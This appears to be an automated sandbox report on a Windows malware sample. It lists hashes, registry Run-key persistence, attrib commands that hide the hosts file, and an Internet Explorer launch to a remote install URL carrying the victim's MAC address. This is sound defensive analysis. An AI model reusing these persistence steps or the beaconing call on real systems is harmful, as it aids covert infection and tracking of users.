Analysis
-
max time kernel
149s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
23-08-2024 22:13
Static task
static1
Behavioral task
behavioral1
Sample
bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe
Resource
win7-20240708-en
windows7-x64
Behavioral task
behavioral2
Sample
bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
General
-
Target
bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe
-
Size
46KB
-
MD5
bd5ca4e52639067d28151719615b587d
-
SHA1
51718e6feef6d23a9b00536a28c9a4e259a7f45a
-
SHA256
83a2cd295660aa9acc296769b4af8607cc6ad9c37d16fe303590041e1ac31613
-
SHA512
87eae489684b9f470a27bf6a604df4966ca3e57f2392718b2504a63c29ba6aae9cf58ae166976ff3b15d7d892902f2d796b02c3f8ee806f4d765c0a53e8feb27
-
SSDEEP
768:oK7vMVvp3w/qUfsRd9Zsb5CDsaSur5dikXBgOHtg8mVD2wVyl3qU5dM9KRxXH5Y:HvMVvp3w/hcG5esaSur5AyH7q5VMp5dA
Malware Config
Signatures
-
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\qq10000 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe" bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe -
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 2792 attrib.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\win.ini bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IEXPLORE.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\SearchScopes iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000003e1c4d4a7885794291b78de8e6dfadfd000000000200000000001066000000010000200000003adbe710140586e74fbc91ad9aad8837a3e5b85c91c27619a8643fccb53e8b56000000000e8000000002000020000000439bea20626f7995bebffa668ebbd509b38ab507fc8ed608838da912181093b420000000dacc645722bffb93617ab5c0df7235705cd103c966c07bdfe20b3b05235e305a400000003273e673a9b954d0e672d8f7d8abbdccf0e587f27530d47105982e998044e9dce7a3a2c9d65576d2972abb508418f60a2bed8a6e52e803b7d7d3af0ab92ac21e iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 90b4d0c8a9f5da01 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F175D331-619C-11EF-B586-DECC44E0FF92} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000003e1c4d4a7885794291b78de8e6dfadfd00000000020000000000106600000001000020000000de5a4623c9b060d95dc9a5b928ad56daa145d04c3260831d6b5fae1174296478000000000e8000000002000020000000e4d357430921469e335f983a732e9533b3cafd6ecaa9a7f6c4b536353ecc155a90000000f6aff7ddd920e6684ace151f5700cb40d2ba597c2708c8963c22b5f8d963a5a55b2802d48f23ee285a55e84d4b3f9138de4bd56f20c18ace26ad19a6a2e720154eab98c2830f253bcd381bd63bbfc909e61d34cf96f5ee537ec3778645dc1e0d3785a3975454a3013b53b8f914563b8a11b6aad1cc2706f3f531d5c427efaff5969439dc119244237dd8c4b8b078d5e740000000a6ca981ca6478f9509ee38912363451a34135d393bc20061be5dfb37c6858e7610a5c2e90e44c4cef3e40817e823b9dfa57b85aba9dba27364a371b1710901a4 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2936 iexplore.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2936 iexplore.exe 2936 iexplore.exe 2880 IEXPLORE.EXE 2880 IEXPLORE.EXE 2880 IEXPLORE.EXE 2880 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2672 wrote to memory of 2860 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 30 PID 2672 wrote to memory of 2860 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 30 PID 2672 wrote to memory of 2860 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 30 PID 2672 wrote to memory of 2860 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 30 PID 2672 wrote to memory of 2792 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 32 PID 2672 wrote to memory of 2792 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 32 PID 2672 wrote to memory of 2792 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 32 PID 2672 wrote to memory of 2792 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 32 PID 2672 wrote to memory of 2936 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 34 PID 2672 wrote to memory of 2936 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 34 PID 2672 wrote to memory of 2936 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 34 PID 2672 wrote to memory of 2936 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 34 PID 2936 wrote to memory of 2880 2936 iexplore.exe 35 PID 2936 wrote to memory of 2880 2936 iexplore.exe 35 PID 2936 wrote to memory of 2880 2936 iexplore.exe 35 PID 2936 wrote to memory of 2880 2936 iexplore.exe 35 PID 2672 wrote to memory of 1324 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 21 PID 2672 wrote to memory of 1324 2672 bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe 21 PID 2936 wrote to memory of 2384 2936 iexplore.exe 37 PID 2936 wrote to memory of 2384 2936 iexplore.exe 37 PID 2936 wrote to memory of 2384 2936 iexplore.exe 37 PID 2936 wrote to memory of 2384 2936 iexplore.exe 37 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 2860 attrib.exe 2792 attrib.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1324
-
C:\Users\Admin\AppData\Local\Temp\bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\bd5ca4e52639067d28151719615b587d_JaffaCakes118.exe"2⤵
- Adds policy Run key to start application
- Drops file in Drivers directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\Windows\system32\drivers\etc\hosts"3⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:2860
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Windows\system32\drivers\etc\hosts"3⤵
- Sets file to hidden
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:2792
-
-
C:\program files\internet explorer\iexplore.exe"C:\program files\internet explorer\iexplore.exe" "http://www.dnbqq.cn/234/install.asp?ver=090107&tgid=baizi&address=DE-CC-44-E0-FF-92®k=1&flag=96eafb97a7be7380ed69b19452fb9fc2&frandom=9228"3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2936 CREDAT:275457 /prefetch:24⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2880
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2936 CREDAT:734214 /prefetch:24⤵PID:2384
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD51fb423b4b4a0738cd083fb9ac4c14ac0
SHA13e0d2f4050b56b784db2f6823fcd77dbd3733529
SHA256b5c73e8430cd25af3a66123a15a9c1fafa5fe78e4802783043b1a00c3ac7a9fd
SHA512a61a0ca41112ccfcffe22f90b6c24d1dee439d40f05f0aaccca473f591edc478048df2245c1435e641e9643e9be911698b7f45e9188f6c3b8365bcfabf4de878
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD58ba402af20d95b205b4276eee47b2363
SHA1aecc72fd35496fb0cfb9e592cb22f3646896ceb0
SHA25628855bb279e75cd164f42410e9bacb59c2a94f29561b26167325cbb08cf85799
SHA512249324e47717bd2a4c327a47d13002fde8c43bf255ce1154b4ed552462832ceac76c9ed7730fc7c331193b9ac490fbc6bdf4ee57f27985adcbed638c3e6087cc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD553d4ad8436e65082f62c8d59ed5a77a3
SHA187cb5e276bcaac95c4c4e981576a63aad6d88d9e
SHA2564ddddd509678275373f74ed3eed332ca8ea41c1609b028118b3392dbea03300e
SHA512266f8737f967d9f4852458355e4406092ad01e9ffddec4f1f1d7fa39cfe454359bd97edf113afb2f269c6c6e02e4c777111e8ba7bfe4fa75ddf7c0ca4987f26c
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD50e1b7c6de587ea577442bfb7b069d7b0
SHA18225286484d30dca0b2d52cebe040b1acd1588d4
SHA2565e3caa1ff6629971ccedf1539b8a3432643ec5fd47ed06fb84a7211201bb6c88
SHA5122a1b0b508b24feb24a19541bf4f39cabd62231f997ee4429ad4af72cd38329be774fa57219368a594d7c0807b6cd9969b1b5b01951aee5dfa3ddeaa975f4bbb8
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5af782d3c04c060368162bd29fad43cb6
SHA1a27fc45a7ea96a331627b2307b16531c9ea2d7f4
SHA256e759878a48a525daa9d1a7b443c9e69da33b23edda9796464fc629a8b1f4266d
SHA512b05c812c6ab3d8222bf6f5c3efa19359bf796ce277d32cb86ebeb6c66e39babf4aee2081d19b1571ec3705792aed09ab48efd9a71344119d689c2bd5ca3a3d34
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD525921220b5ca610ab8f0dbddb6dc9578
SHA1e206952615534961b63d4fcbe8f497494eb85e37
SHA256499f33123541a98cc4a989dad418dd8b16ad7954663ed0167ebfff8405775c24
SHA512915b523c90eba5eaaf550438911a92320fa2092587812bc1d817500788746fa9a8c617492b5b7f01d408c706c7d850c726163192f10842c26397a9e102947c0d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5f734e04a454568f9e3ea2beb24ad0b41
SHA11da0f13bc7ae910afcc7155eb8d805e162af19bf
SHA256e4c34e7501ebfe18e90e53cdcd02833a21ad4843797642569559c20e7caa42bf
SHA512a1fefe2403fbe7fd703eb85375305ca1e8168c86c8bfc3fa136eaafc9d7f1a98da8c88cf9b4088db6bc1b3abb20dbfe22a4be79c145bac6dd1306abdbd0d610b
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5887e654177f2e1553e6f6496218bb1d0
SHA1524180ad48c26046d02181749dccbb531af30379
SHA256cfc0e42f01d8d3f31a482943c3686829539e995659d0f0d4727236fe82f7db19
SHA51201bf1f6670e505fccd57d3676f8f46cdab460895e5ae9a9abcf9d9a0b464b28eaa2dd5e614fd7daf644cf285e3dbda4b131b2ff1b78e3fd0730e6c9cfec6229b
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD55435529fc68261e4d49b461005fb2393
SHA1fa05887da38c02e525527192e4f5854994bb1fd2
SHA256ffe89b677b5bbfc293e771e4dc2b391e4b7a71cb16fad552e98bda9816ac4030
SHA5124bf0260e7a80c2cad837487d0b1162e1ef29696fdf3fda49001ce037cef3386f11f769ad51eecfd403dc79b2c3fe2712b2522c9a4311e305cb8338e939fd405d
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
Filesize
16KB
MD5f42b078e9f0e7b47a3f84c77bb9bfc02
SHA1dc180481b606350a54409f1db99d7bdefafd36d8
SHA256922eacff61bd5565c20411183d33c909aa2bb9214739a0cededba358a7023bdc
SHA512aa97f7d28e54d9b5b0166d4cca158a212d77e91755fa1a7bafb7357b2a13d8705fbdacdcdbb36b0994b4f09c89c7124975a224c133bdbe56f36c56d3dfa886b6